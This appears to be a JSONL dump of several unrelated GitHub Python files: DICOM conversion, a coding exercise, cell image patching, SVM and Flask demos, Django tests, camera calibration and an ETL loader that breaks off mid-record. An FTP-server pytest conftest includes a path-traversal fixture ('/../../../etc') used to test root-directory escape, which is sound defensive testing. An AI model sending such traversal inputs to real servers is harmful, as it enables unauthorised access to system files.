op.abspath(outname)\n embedfunc.inputs.infofile = op.abspath(scaninfo)\n embedfunc.inputs.bids_info = (\n load_json(op.abspath(outname_bids)) if (bids_options is not None) else None\n )\n embedfunc.base_dir = tmpdir\n cwd = os.getcwd()\n\n lgr.debug(\n \"Embedding into %s based on dicoms[0]=%s for nifti %s\",\n scaninfo,\n item_dicoms[0],\n outname,\n )\n try:\n if op.lexists(scaninfo):\n # TODO: handle annexed file case\n if not op.islink(scaninfo):\n set_readonly(scaninfo, False)\n res = embedfunc.run()\n set_readonly(scaninfo)\n if with_prov:\n assert isinstance(prov_file, str)\n g = res.provenance.rdf()\n g.parse(prov_file, format=\"turtle\")\n g.serialize(prov_file, format=\"turtle\")\n set_readonly(prov_file)\n except Exception as exc:\n lgr.error(\"Embedding failed: %s\", str(exc))\n os.chdir(cwd)\n\n\ndef parse_private_csa_header(\n dcm_data: dcm.dataset.Dataset,\n _public_attr: str,\n private_attr: str,\n default: Optional[str] = None,\n) -> str:\n \"\"\"\n Parses CSA header in cases where value is not defined publicly\n\n Parameters\n ----------\n dcm_data : pydicom Dataset object\n DICOM metadata\n public_attr : string\n non-private DICOM attribute\n private_attr : string\n private DICOM attribute\n default (optional)\n default value if private_attr not found\n\n Returns\n -------\n val (default: empty string)\n private attribute value or default\n \"\"\"\n # TODO: provide mapping to private_attr from public_attr\n import dcmstack.extract as dsextract\n from nibabel.nicom import csareader\n\n try:\n # TODO: test with attr besides ProtocolName\n csastr = csareader.get_csa_header(dcm_data, \"series\")[\"tags\"][\n \"MrPhoenixProtocol\"\n ][\"items\"][0]\n csastr = csastr.replace(\"### ASCCONV BEGIN\", \"### ASCCONV BEGIN ### \")\n parsedhdr = dsextract.parse_phoenix_prot(\"MrPhoenixProtocol\", csastr)\n val = parsedhdr[private_attr].replace(\" \", \"\")\n except Exception as e:\n lgr.debug(\"Failed to parse CSA header: %s\", str(e))\n val = default or \"\"\n assert isinstance(val, str)\n return val\n","repo_name":"nipy/heudiconv","sub_path":"heudiconv/dicoms.py","file_name":"dicoms.py","file_ext":"py","file_size_in_byte":25589,"program_lang":"python","lang":"en","doc_type":"code","stars":205,"dataset":"github-code","pt":"29"} +{"seq_id":"27593108648","text":"#!/bin/python3\r\n\r\nimport math\r\nimport os\r\nimport random\r\nimport re\r\nimport sys\r\n\r\nif __name__ == '__main__':\r\n arr = []\r\n\r\n for _ in range(6):\r\n lmax = -math.inf\r\n arr.append(list(map(int, input().rstrip().split())))\r\n for i in range(0, 4):\r\n for l in range(0, 4):\r\n lsum = 0\r\n for j in range(i, i+3):\r\n for k in range(l, l+3):\r\n if k == l and j == i+1:\r\n continue\r\n elif k == l+2 and j == i+1:\r\n continue\r\n else:\r\n lsum += arr[j][k]\r\n #print(lsum)\r\n if lsum>lmax:\r\n lmax = lsum\r\n print(lmax)\r\n\r\n # Time complexuty: O(n^4) Because the nested for loops use 4 loops\r\n # Space complexity: O(n^2) Because the size of our input array is always constant that is 6*6. n = 6 here.\r\n","repo_name":"dheeraj-2000/30-Days-Of-Code","sub_path":"Day 11/Day_11_Python.py","file_name":"Day_11_Python.py","file_ext":"py","file_size_in_byte":913,"program_lang":"python","lang":"en","doc_type":"code","stars":18,"dataset":"github-code","pt":"29"} +{"seq_id":"12246564573","text":"import numpy as np\nfrom PIL import Image\nimport cv2\n\nfrom kernel_slide import get_cell_patch as gcp\n\nimport pickle\nimport argparse\nimport time\nimport os\n\ndef get_unique_ids(image):\n '''Returns the unique elements in a\n matrix.\n Args:\n image: 'Numpy' matrix\n returns:\n Unique values in a matrix of type\n 'Numpy'\n '''\n unique_ids = np.unique(\n image)\n\n # :unique_ids include '0' in the first index.\n # We want to ignore since '0' represents\n # background.\n return unique_ids[1:]\n\n# LEGACY\ndef get_mask_for_id(image, unique_id):\n '''Returns a patch, that captures a cell\n given the id.\n Args:\n\n '''\n image = np.where(\n image == unique_id,\n 1,\n 0)\n\n unique = np.unique(\n image)\n\n assert len(unique) == 2, (':unique should\\\n return 2 values, found:{}'.format(len(unique)))\n\n return image\n\n\ndef get_coordinates(filename, kernel_size):\n '''Get coordinates of individual cells using a\n mask image\n Args:\n filename: 'String' that points to the location\n of the file\n kernel_size: 'Tuple' that contains the size of\n the kernel window\n '''\n image = Image.open(\n filename)\n image = np.array(\n image)\n\n unique_ids = get_unique_ids(\n image)\n\n unique_id_to_coordinates = {}\n\n ctr = 0\n threshold = 500\n\n created_image = np.zeros(\n image.shape)\n\n for unique_id in unique_ids:\n mask = np.where(\n image == unique_id,\n 1,\n 0)\n\n count = np.sum(mask)\n\n if count > threshold:\n cell_patch, loc_h, loc_w = gcp( \n image,\n kernel_size,\n unique_id)\n\n # :loc_h and :loc_w are the (y, x) coordinates\n # of where the cell starts.\n\n unique_id_to_coordinates[unique_id] = (\n loc_h, loc_w)\n \n # For debugging purposes\n cell_patch = np.where(\n cell_patch == unique_id,\n 250,\n 0)\n\n # created_image = created_image + masked_image\n\n ctr += 1 \n\n if ctr % 100 == 0:\n print('Processed {}/{} ids'.format(\n ctr, len(unique_ids)))\n\n\n return unique_id_to_coordinates\n\n\ndef get_cell_patch(fl_filename, unique_id_to_coordinates,\n slack=15, kernel_size=(80, 80),\n IMAGE_DIR='', image_counter=0):\n '''Uses coordinates to extract cell patches from the\n fluorescent image\n Args:\n fl_filename: 'String' that has the path to the\n fluorescent image\n unique_id_to_coordinates: 'Dict' with unique_id as\n keys and coordinates as values\n slack: 'Integer' to mention allowance while cropping\n kernel_size: 'Tuple' that contains the size of the\n kernel window\n IMAGE_DIR: 'String' that has the path where the\n extracted cell patch will get saved\n image_counter: 'Integer' that counts the sequence\n of images\n Returns:\n None\n ''' \n fl_image = Image.open(\n fl_filename)\n fl_image = np.array(\n fl_image)\n\n fl_image_height, fl_image_width = fl_image.shape\n\n for unique_id in unique_id_to_coordinates.keys():\n loc_h, loc_w = unique_id_to_coordinates[unique_id] \n \n # Fetch the required cell from fluorescence\n # image using :loc_h and :loc_w. Pad the matrix\n # with zeros on all sides to allow some slack.\n # This is done because the cell in subsequent\n # frames might grow/shrink. Therefore, the\n # coordinated should be relaxed.\n\n start_h = loc_h - slack \n end_h = loc_h + kernel_size[0] + slack\n start_w = loc_w - slack \n end_w = loc_w + kernel_size[1] + slack\n\n # Check for edge cases:\n if start_h < 0: start_h = 0\n if end_h >= fl_image_height: end_h = fl_image_height - 1\n if start_w < 0: start_w = 0\n if end_w >= fl_image_width: end_w = fl_image_width - 1\n\n cell_patch = fl_image[\n start_h : end_h,\n start_w : end_w]\n\n # saving the image to disk\n unique_id_str = str(unique_id) # + '_brightfield' \n \n image_path = os.path.join(\n IMAGE_DIR,\n unique_id_str)\n\n if not os.path.exists(image_path):\n os.makedirs(image_path)\n\n cv2.imwrite(\n image_path + '/image_{}.png'.format(\n str(image_counter).zfill(3)),\n cell_patch)\n\n\ndef control(args):\n '''Interface function to extract patches and save\n them in respective folders\n Args:\n args: 'argparse' instance\n Returns:\n None\n '''\n start = time.time()\n '''\n # Get coordinates of each cell using a mask image\n mask_file = 'gcamp3_3aidr_dzf_gfp_2020_01_09_3t001z1c2.tif'\n path_to_mask = '/neuhaus/movie/masks/'\n final_mask_path = path_to_mask + mask_file\n\n print('Extracting coordinates from the mask.....')\n kernel_size = (args.kernel_size, args.kernel_size)\n unique_id_to_coordinates = get_coordinates(\n final_mask_path,\n kernel_size)\n \n # save :unique_id_to_coordinates to disk\n with open(\n args.IMAGE_DIR + '/meta_file/unique_id_to_coord.pkl',\n 'wb') as handle:\n pickle.dump(\n unique_id_to_coordinates,\n handle)\n print('Coordinates calculated.....Pickle file dumped.....')\n '''\n with open(\n args.IMAGE_DIR + '/meta_file/unique_id_to_coord.pkl',\n 'rb') as handle:\n unique_id_to_coordinates = pickle.load(\n handle)\n kernel_size = (args.kernel_size, args.kernel_size)\n # Extract cells from fluorescent image using the\n # above coordinates and write each extracted patch\n # to respective folder\n fl_files = os.listdir(args.FL_DIR)\n\n # Filter out files that have 'z1c1' in them\n fl_files = [\n args.FL_DIR + '/' + fl_file\n for fl_file in fl_files\n if 'z1c1' in fl_file]\n fl_files = sorted(fl_files)\n\n image_counter = 0\n\n for fl_file in fl_files:\n \n get_cell_patch(\n fl_file,\n unique_id_to_coordinates,\n slack=args.slack,\n kernel_size=kernel_size,\n IMAGE_DIR=args.IMAGE_DIR,\n image_counter=image_counter)\n \n if image_counter % 50 == 0:\n print('Wrote {}/{} images for each cell'.format(\n image_counter,\n len(fl_files)))\n\n image_counter += 1\n\n print('Process complete.....Time taken:{} seconds..'.format(\n str(round(time.time() - start, 3))))\n\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser(\n description='params of running the experiment')\n\n parser.add_argument(\n '--FL_DIR',\n type=str,\n default='/neuhaus/movie',\n help='path to Fluorescent images')\n\n parser.add_argument(\n '--IMAGE_DIR',\n type=str,\n default='/neuhaus/movie/dataset',\n help='path where images will get saved')\n\n parser.add_argument(\n '--kernel_size',\n type=int,\n default=80,\n help='size of kernel window')\n\n parser.add_argument(\n '--slack',\n type=int,\n default=10,\n help='allowance while cropping')\n\n args = parser.parse_args()\n control(args)\n\n\n","repo_name":"RohitSaha/W-Cell-Net_cellular_video_interpolation","sub_path":"data_preparation/extract_patches.py","file_name":"extract_patches.py","file_ext":"py","file_size_in_byte":7464,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"29"} +{"seq_id":"36798036436","text":"import torch\nimport numpy as np\n\nimport random\n\nclass binset:\n\n def __init__(self, x, y, label_len, data=None):\n self.x = x\n self.y = y\n self.ll = label_len\n self.dl = x-label_len\n self.unique = False\n if data!=None:\n self.data = torch.tensor(data).view(y, x)\n else:\n self.data = torch.zeros(y, x)\n #print(x,y,self.data)\n self.initavg()\n \n def initavg(self):\n self.avg = self.mean()\n self.mse = self.calculate_mse(self.avg)\n if self.mse == 0:\n self.unique=True\n \n #print(self.avg)\n\n def mean(self):\n #print(self.ll)\n #print(self.data[:, int(self.ll):])\n avg = torch.sum(self.data[:, int(self.ll):], dim=0)/self.y\n #print(\"avg \", avg)\n\n return torch.round(avg)\n\n def distance(self, i):\n #assert i.shape == (1, self.x-self.ll), i.shape\n #i = i.repeat(self.y, 1)\n #print(self.data[:, int(self.ll):])\n #print(\"why\", i)\n return torch.sum(self.data[:, int(self.ll):]-i, dim=1)\n\n \n def calculate_mse(self, i):\n #assert i.shape == (1, self.x-self.ll), i.shape\n\n dis = self.distance(i)\n #print(dis)\n f = lambda x, y: x*x\n ms = dis.map_(dis, f)\n\n return torch.sum(ms)\n\n def split(self, i):\n index0 = (self.data[:, i] == 0)\n index1 = (self.data[:, i] == 1)\n \n data0 = self.data[index0].to(torch.int)\n data1 = self.data[index1].to(torch.int)\n #print(data0.shape)\n bset0 = binset(data0.shape[1], data0.shape[0], self.ll, data0)\n bset1 = binset(data1.shape[1], data1.shape[0], self.ll, data1)\n return bset0, bset1\n\n def train(self):\n return self.data[:, :self.ll]\n\n def label(self):\n return self.data[:, self.ll:]\n\n def index(self, idx):\n d = self.data[idx]\n return binset(d.shape[1], d.shape[0], self.ll, d)\n\n def usemask(self, trainm, labelm):\n trl = len(trainm)\n lal = len(labelm)\n labelm = [i+self.ll for i in labelm]\n #print(trl+lal, self.y, trl, self.data[:, trainm+labelm])\n bset = binset(trl+lal, self.y, trl, self.data[:, trainm+labelm])\n return bset\n\n\ndef tobinary(a, n):\n a = bin(a)[2:]\n a = a.rjust(n, '0')\n res = []\n for i in range(n):\n res.append(int(a[i]))\n return res\n\ndef build():\n random.seed(0)\n x=[]\n y=[]\n for i in range(2**4):\n for j in range(2**4):\n x.append(tobinary(i,4) + tobinary(j,4)+tobinary(i*j, 8)) #[round(random.random()), round(random.random())])\n y.append(int(int((i*j)/16)%2))\n #print(i,j,x[-1],y[-1])\n\n #print(x)\n\n #x=binset(32, 65536, 16, x)\n x=binset(16, 256, 8, x)\n\n #print(\"here\\n\", x.data)\n #print(x.split(2)[0].unique)\n return x\n\n#build()","repo_name":"GHtyt/shiny-octo-funicular","sub_path":"dataset/binset.py","file_name":"binset.py","file_ext":"py","file_size_in_byte":2877,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"23314710034","text":"import numpy as np\nimport pandas as pd\nimport seaborn as sns\nimport matplotlib.pyplot as plt\nfrom sklearn.svm import SVC\nfrom sklearn.model_selection import GridSearchCV\n\n# 绘制图像\n# 定义绘制SVM边界方法\ndef plot_svm_boundary(model, X, y):\n # values将df转换为列表数组\n X = X.values\n y = y.values\n\n # 根据数组y的值来绘制不同颜色的点,y=[0,0,0,1,0,1,1....],cmap将这些数字映射为对应的颜色\n plt.scatter(X[:, 0], X[:, 1], c=y, s=30, cmap='coolwarm')\n\n # 获取当前图标\n ax = plt.gca()\n xlim = ax.get_xlim()\n ylim = ax.get_ylim()\n\n # 在x,y的范围内各自产生30个值,然后两两匹配,其实和用两个for循环效果差不多\n # 其实和以下方法没区别,但还是推荐用这样方式,np.meshgrid这个函数挺常用的\n # xx = np.linspace(0, 10, 30)\n # yy = np.linspace(10, 20, 20)\n # xy = []\n # for i in range(xx.shape[0]):\n # for j in range(yy.shape[0]):\n # xy.append([xx[i], yy[j]])\n # xy = np.array(xy)\n\n xx = np.linspace(xlim[0], xlim[1], 30)\n yy = np.linspace(ylim[0], ylim[1], 30)\n XX, YY= np.meshgrid(xx, yy)\n # np.vstack将两个矩阵沿竖直方向堆叠\n xy = np.vstack([XX.flatten(), YY.flatten()]).T\n # decision_function:输出样本距离各个分类器的分隔超平面的置信度,并由此可以推算出predict的预测结果\n # predict_procaba:输出样本属于各个类别的概率值,并由此可以推算出predict的预测结果\n # predict:输出样本属于具体类别的预测结果\n Z = model.decision_function(xy).reshape(XX.shape)\n\n # counter画等高线,counterf填充不同等高线部分的颜色\n # alpha是线的透明度,levels是距离svm分割线的距离\n ax.contour(XX, YY, Z, colors='k', levels=[-1, 0, 1], alpha=0.5,\n linestyles=['--', '-', '--'])\n # plot support vectors\n ax.scatter(model.support_vectors_[:, 0], model.support_vectors_[:, 1], s=100,\n linewidth=1, facecolors='none', edgecolors='k')\n plt.show()\n\n\nif __name__ == '__main__':\n df = pd.read_csv('data/mouse_viral_study.csv')\n print(df.describe())\n sns.scatterplot(x='Med_1_mL', y='Med_2_mL', hue='Virus Present', data=df)\n plt.show()\n sns.pairplot(df, hue='Virus Present')\n plt.show()\n\n # 准备数据\n y = df['Virus Present']\n X = df.drop(['Virus Present'], axis=1)\n\n # 定义模型\n # model = SVC(kernel='linear', C=1000)\n # model = SVC(kernel='linear', C=0.05)\n # model = SVC(kernel='poly', C=0.05, degree=5)\n model = SVC(kernel='poly', C=0.05,degree=5)\n\n # 训练模型\n model.fit(X, y)\n plot_svm_boundary(model, X, y)\n\n # svm提供的一个调参函数\n svm = SVC()\n param_grid = {'C': [0.01, 0.1, 1], 'kernel': ['rbf', 'poly', 'linear', 'sigmoid'], 'gamma': [0.01, 0.1, 1]}\n grid = GridSearchCV(svm, param_grid)\n grid.fit(X, y)\n print(\"grid.best_params_ = \", grid.best_params_, \", grid.best_score_ =\", grid.best_score_)\n","repo_name":"scorpion293/machinelearing","sub_path":"base_algorithm_learn/week4-SVM.py","file_name":"week4-SVM.py","file_ext":"py","file_size_in_byte":3028,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"42943136902","text":"import os\nimport pytest\nfrom ftplib import FTP\n\nfrom main import BASE_CONFIG\n\n\ntest_dirs = {\"root\": \"test_root\", \"nested\": \"dir1\", \"test_rm\": \"test_rm\"}\ntest_files = {\"root\": \"file1.txt\", \"nested\": \"file2.txt\"}\n\n\nif not os.path.exists(test_dirs.get(\"root\")):\n os.mkdir(test_dirs.get(\"root\"))\n os.mkdir(os.path.join(test_dirs.get(\"root\"), test_dirs.get(\"nested\")))\n os.mkdir(os.path.join(test_dirs.get(\"root\"), test_dirs.get(\"test_rm\")))\n with open(os.path.join(test_dirs.get(\"root\"), test_files.get(\"root\")), \"w\") as f:\n f.write(\"testing \" * 10)\n with open(\n os.path.join(\n test_dirs.get(\"root\"), test_dirs.get(\"nested\"), test_files.get(\"nested\")\n ),\n \"w\",\n ) as f:\n f.write(\"testing nested file \" * 10)\n\n\n@pytest.fixture()\ndef ftp_client():\n host = BASE_CONFIG.get('host')\n port = BASE_CONFIG.get('port')\n ftp = FTP()\n ftp.connect(host,port)\n ftp.login(user=\"test_user\")\n with ftp as ftp:\n yield ftp\n\n\n@pytest.fixture\ndef get_test_dirs():\n return test_dirs\n\n\n@pytest.fixture\ndef escape_path():\n return \"/../../../etc\"\n\n\n@pytest.fixture\ndef files():\n return test_files\n\n\n@pytest.fixture\ndef dirs():\n return test_dirs\n","repo_name":"gynvael/zrozumiec-programowanie-cwiczenia","sub_path":"NET-ftp-server/tests/conftest.py","file_name":"conftest.py","file_ext":"py","file_size_in_byte":1218,"program_lang":"python","lang":"en","doc_type":"code","stars":26,"dataset":"github-code","pt":"5"} +{"seq_id":"22533386178","text":"from django.test import TestCase, Client\n\nfrom .models import Content, Genre, Detail, ContentGenre\n\nclass ContentTest(TestCase):\n def setUp(self):\n Genre.objects.create(\n id = 1,\n name = \"drama\"\n )\n Genre.objects.create(\n id = 2,\n name = \"action\"\n )\n Genre.objects.create(\n id = 3,\n name = \"comedy\"\n )\n\n Content.objects.create(\n id = 1,\n name = \"The war\",\n category = \"movie\",\n description = \"good movie\",\n nation = \"UK\",\n thumb_nail = \"www.naver.com\"\n )\n\n Content.objects.create(\n id = 2,\n name = \"Harry Potter\",\n category = \"drama\",\n description = \"good movie\",\n nation = \"UK\",\n thumb_nail = \"www.naver.com\"\n )\n\n Detail.objects.create(\n id = 1,\n episode = \"Harry Potter and the Philosopher(Sorcerer)'s Stone\",\n description = \"best episode\",\n running_time = \"120\",\n thumb_nail = \"www.wecode.com\",\n file = \"www.ewcode.com\",\n content = Content.objects.get(id=2)\n )\n\n Detail.objects.create(\n id = 2,\n episode = \"The war first episode\",\n description = \"best episode\",\n running_time = \"140\",\n thumb_nail = \"www.wecode.com\",\n file = \"www.ewcode.com\",\n content = Content.objects.get(id=1)\n )\n\n Detail.objects.create(\n id = 3,\n episode = \"The war second episode\",\n description = \"best episode2\",\n running_time = \"150\",\n thumb_nail = \"www.wecode.com\",\n file = \"www.ewcode.com\",\n content = Content.objects.get(id=1)\n )\n\n ContentGenre.objects.create(\n id = 1,\n content = Content.objects.get(id=1),\n genre = Genre.objects.get(id=1)\n )\n\n ContentGenre.objects.create(\n id = 2,\n content = Content.objects.get(id=1),\n genre = Genre.objects.get(id=2)\n )\n\n ContentGenre.objects.create(\n id = 3,\n content = Content.objects.get(id=2),\n genre = Genre.objects.get(id=2)\n )\n\n ContentGenre.objects.create(\n id = 4,\n content = Content.objects.get(id=2),\n genre = Genre.objects.get(id=3)\n )\n\n def tearDown(self):\n Content.objects.all().delete()\n Genre.objects.all().delete()\n Detail.objects.all().delete()\n ContentGenre.objects.all().delete()\n \n def test_content_get_success(self):\n client = Client()\n response = client.get('/content/1')\n \n self.assertEqual(response.status_code, 200)\n self.assertEqual(response.json(), {\n \"Result\": {\n \"id\": 1,\n \"name\": \"The war\",\n \"category\": \"movie\",\n \"description\": \"good movie\",\n \"nation\": \"UK\",\n \"thumb_nail\": \"www.naver.com\",\n \"genre\": [\n {\n \"genre\": \"drama\"\n },\n {\n \"genre\": \"action\"\n }\n ],\n \"detail\": [\n {\n \"episode\": \"The war first episode\",\n \"detail_description\": \"best episode\",\n \"running_time\": 140,\n \"detail_thumb_nail\": \"www.wecode.com\"\n },\n {\n \"episode\": \"The war second episode\",\n \"detail_description\": \"best episode2\",\n \"running_time\": 150,\n \"detail_thumb_nail\": \"www.wecode.com\"\n },\n ]\n }\n })\n\n\n def test_content_get_dose_not_exist_content(self):\n client = Client()\n response = client.get('/content/3')\n\n self.assertEqual(response.status_code, 404)\n self.assertEqual(response.json(), {\"Result\": \"CONTENT_DOES_NOT_EXIST\"})\n\n \n def test_contentlist_get_success(self):\n client = Client()\n response = client.get('/content/list?limit=2&order-by=id')\n \n self.assertEqual(response.status_code, 200)\n self.assertEqual(response.json(), \n {\n \"Result\": [\n {\n \"id\": 1,\n \"name\": \"The war\",\n \"category\": \"movie\",\n \"description\": \"good movie\",\n \"nation\": \"UK\",\n \"thumb_nail\": \"www.naver.com\",\n \"genre\": [\n {\n \"genre\": \"drama\"\n },\n {\n \"genre\": \"action\"\n }\n ]\n },\n {\n \"id\": 2,\n \"name\": \"Harry Potter\",\n \"category\": \"drama\",\n \"description\": \"good movie\",\n \"nation\": \"UK\",\n \"thumb_nail\": \"www.naver.com\",\n \"genre\": [\n {\n \"genre\": \"action\"\n },\n {\n \"genre\": \"comedy\"\n }\n ]\n }\n ]\n })\n\n def test_contentlist_get_field_error(self):\n client = Client()\n response = client.get('/content/list?order-by=hott')\n \n self.assertEqual(response.status_code, 404)\n self.assertEqual(response.json(), {\"Result\": \"FIELD_ERROR\"})\n\n def test_contentlist_get_dose_not_exist_content(self):\n client = Client()\n response = client.get('/content/list?category=acction')\n \n self.assertEqual(response.status_code, 200)\n self.assertEqual(response.json(), {\"Result\": []})","repo_name":"wecode-bootcamp-korea/24-2nd-FX-backend","sub_path":"contents/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":6058,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"5"} +{"seq_id":"2420998524","text":"import os\nfrom collections import namedtuple\nimport recognition\n\nclass ProcessingResult():\n def __init__(self, filename):\n self.source = os.path.join('uploads', filename)\n self.filter = os.path.join('intermediate', filename + '.filter.png')\n self.contour = os.path.join('intermediate', filename + '.contour.png')\n self.segment_template = os.path.join('intermediate', filename + '.segment-{0}.png')\n def create_segments_list(self, n):\n self.segments = [self.segment_template.format(i) for i in range(n)]\n return self.segments\n\ndef process_image(filename):\n res = ProcessingResult(filename)\n recognition.filter(res.source, res.filter)\n recognition.segment(res.filter, res.contour, res.create_segments_list)\n res.recognition = recognition.numbers_recognition(res.segments)\n return res","repo_name":"itonik/numbers-flask","sub_path":"model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":844,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"21213101894","text":"# run\r\n# python api_server.py\r\n# predict\r\n# curl http://127.0.0.1:8888/predict -X POST -H 'Content-Type:application/json' -d '{\"feature\":[1, 1, 1, 1]}'\r\n\r\nfrom sklearn.externals import joblib\r\nimport flask\r\nfrom flask_cors import CORS\r\nimport numpy as np\r\n\r\nMODEL_FILE = './iris_model.pkl'\r\nRUN_PORT = 8888\r\n\r\n# initialize our Flask application and pre-trained model\r\napp = flask.Flask(__name__)\r\nCORS(app)\r\nmodel = None\r\n\r\n\r\ndef load_model():\r\n global model\r\n print(\" * Loading iris_model ...\")\r\n model = joblib.load(MODEL_FILE)\r\n print(' * Loading end')\r\n\r\n\r\n@app.route(\"/predict\", methods=[\"POST\"])\r\ndef predict():\r\n response = {\r\n \"success\": False,\r\n # \"Content-Type\": \"application/json\"\r\n }\r\n # ensure an feature was properly uploaded to our endpoint\r\n if flask.request.method == \"POST\":\r\n if flask.request.get_json().get(\"feature\"):\r\n # read feature from json\r\n feature = flask.request.get_json().get(\"feature\")\r\n\r\n # preprocess for classification\r\n # list -> np.ndarray\r\n feature = np.array(feature).reshape((1, -1))\r\n\r\n # classify the input feature\r\n # response[\"prediction\"] = model.predict(feature).tolist()\r\n\r\n proba = model.predict_proba(feature)\r\n proba = proba.flatten().tolist()\r\n\r\n response[\"predict\"] = proba.index(max(proba))\r\n response[\"proba\"] = max(proba)\r\n\r\n\r\n # indicate that the request was a success\r\n response[\"success\"] = True\r\n # return the data dictionary as a JSON response\r\n return flask.jsonify(response)\r\n\r\n\r\nif __name__ == \"__main__\":\r\n load_model()\r\n print(\" * Flask starting server...\")\r\n app.run(port=RUN_PORT)\r\n","repo_name":"trump27/iris","sub_path":"server/api_server.py","file_name":"api_server.py","file_ext":"py","file_size_in_byte":1753,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"7014905107","text":"from operator import invert\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\nfrom scipy.spatial.transform import Rotation as R\r\n\r\n\r\ndef ros_pose_to_mat_pose(ros_pose):\r\n mat_pose = np.identity(4)\r\n rot = R.from_quat(ros_pose[3:]).as_dcm()\r\n trans = ros_pose[:3]\r\n\r\n mat_pose[:3, :3] = rot\r\n mat_pose[:3, 3] = trans\r\n\r\n ee_to_left = mat_pose\r\n\r\n return ee_to_left\r\n\r\ndef proj_points(points,intrinsic,camera_pose):\r\n n = points.shape[0]\r\n ##### Step 2-3\r\n # make the points into homogeneous coordinate (n,4)\r\n points = np.concatenate((points,np.ones((n,1))),axis=1)\r\n\r\n ##### Step 2-4\r\n # transpose the points to make the pose multiplication easier (4,n)\r\n points = points.transpose()\r\n\r\n ##### Step 2-5\r\n # apply camera pose (4,n)\r\n C_points = camera_pose @ points\r\n\r\n ##### Step 2-6\r\n # project onto the camera image plane and remove the homogenous points (3,n)\r\n proj_points = np.ones((3,n))\r\n proj_points[0,:] = C_points[0,:] / C_points[2,:]\r\n proj_points[1,:] = C_points[1,:] / C_points[2,:]\r\n\r\n ##### Step 2-7\r\n # convert the coordinate of image plane into image pixel coordinate by using intrinsic k\r\n pxl_points = intrinsic @ proj_points\r\n\r\n ##### Step 2-8\r\n # remove the homogeneous coordinate and transpose back to (n,2) format\r\n points_cam_pixel = pxl_points.transpose()\r\n\r\n return points_cam_pixel\r\n\r\ndef invert_transform(transform):\r\n out = np.identity(4)\r\n rot_transpose = transform[:3,:3].transpose()\r\n trans = transform[:3,3]\r\n out[:3,:3] = rot_transpose\r\n out[:3, 3] = -np.matmul(rot_transpose,trans)\r\n return out\r\n\r\ndef main():\r\n\r\n ####### Task 1. #######\r\n # Form the relative pose graph from Fig 1. and calculate the Hand-eye-calibration matrix (cam_to_ee)\r\n marker_to_rb = ros_pose_to_mat_pose(np.loadtxt(\"checkerboard_to_rb.txt\"))\r\n marker_to_cam = np.loadtxt(\"checkerboard_to_cam.txt\")\r\n ee_to_rb = np.loadtxt(\"ee_to_rb.txt\")\r\n\r\n ##### Step 1\r\n # Check the Fig.1 for the direction. Form a relative pose graph if necessary. Note that traversing the graph in the\r\n # inverse direction is equivalent to using inverse of the given pose matrix.\r\n cam_to_marker = invert_transform(marker_to_cam)\r\n rb_to_ee = invert_transform(ee_to_rb)\r\n cam_to_ee = rb_to_ee @ marker_to_rb @ cam_to_marker\r\n\r\n ####### Task 2. #######\r\n # Project the tooltip’s 3D locations on to given image by using given camera intrinsic\r\n points = np.loadtxt(\"point_measured.txt\")\r\n intrinsic = np.loadtxt(\"intrinsic.txt\")\r\n\r\n ##### Step 2-1\r\n # find out the transformation matrix between the measured points and the camera\r\n rb_to_marker = invert_transform(marker_to_rb)\r\n rb_to_cam = marker_to_cam @ rb_to_marker\r\n\r\n\r\n ##### Step 2-2\r\n # implement point projection function\r\n pixel_coords = proj_points(points,intrinsic,rb_to_cam)\r\n\r\n img = plt.imread(\"000000.png\")\r\n\r\n ##### Step 2-9\r\n # plot the figure and overlay the projected points\r\n fig, ax = plt.subplots()\r\n ax.imshow(img)\r\n ax.scatter(pixel_coords[:,0],pixel_coords[:,1],c='r')\r\n ax.axis('off')\r\n plt.show()\r\n\r\n\r\nif __name__ == \"__main__\":\r\n main()","repo_name":"kkaytekin/Hands-on-3D-Video-Challenge","sub_path":"assignment1/assignment1_task1-2.py","file_name":"assignment1_task1-2.py","file_ext":"py","file_size_in_byte":3200,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"37201791993","text":"from src.db_handlers import db_connection as db\nimport uuid\n\ndef add_temp_id(transform_data):\n temp_id = 1\n for dic in transform_data:\n dic[\"temp_id\"] = temp_id\n temp_id += 1\n return transform_data\n\ndef store_load(conn, transform_data):\n\n for row in transform_data:\n\n store = row[\"location\"]\n store_uuid = db.fetch_entry(conn, \"store\", [\"location\"], [store])\n\n if store_uuid == None:\n store_uuid = str(uuid.uuid4())\n db.insert_into_table(conn, \"store\", {\"id\": store_uuid, \"location\": store})\n else:\n store_uuid = store_uuid[0]\n return transform_data\n\ndef type_load(conn, transform_data):\n\n for row in transform_data:\n\n for item in row[\"items\"]:\n\n item_type = \"Unidentified\"\n item_type_uuid = None\n if item[\"type\"] != \"\":\n item_type = item[\"type\"]\n item_type_uuid = db.fetch_entry(conn, \"product_type\", [\"name\"], [item_type])\n if item_type_uuid == None:\n item_type_uuid = str(uuid.uuid4())\n db.insert_into_table(\n conn, \"product_type\", {\"id\": item_type_uuid, \"name\": item_type}\n )\n else:\n item_type_uuid = item_type_uuid[0]\n\n return transform_data\n\ndef product_data(conn, transform_data):\n items_ids = []\n for row in transform_data:\n\n for item in row[\"items\"]:\n\n item_size = \"Regular\"\n if item[\"size\"] != \"\":\n item_size = item[\"size\"]\n\n item_name = item[\"name\"]\n item_price = item[\"price\"]\n\n item_type = \"Unidentified\"\n if item[\"type\"] != \"\":\n item_type = item[\"type\"]\n item_type_uuid = db.fetch_entry(conn, \"product_type\", [\"name\"], [item_type])\n\n product_uuid = db.fetch_entry(\n conn,\n \"product\",\n [\"type_id\", \"name\", \"size\", \"price\"],\n [item_type_uuid[0], item_name, item_size, item_price],\n )\n if product_uuid == None:\n product_uuid = str(uuid.uuid4())\n db.insert_into_table(\n conn,\n \"product\",\n {\n \"id\": product_uuid,\n \"type_id\": item_type_uuid[0],\n \"name\": 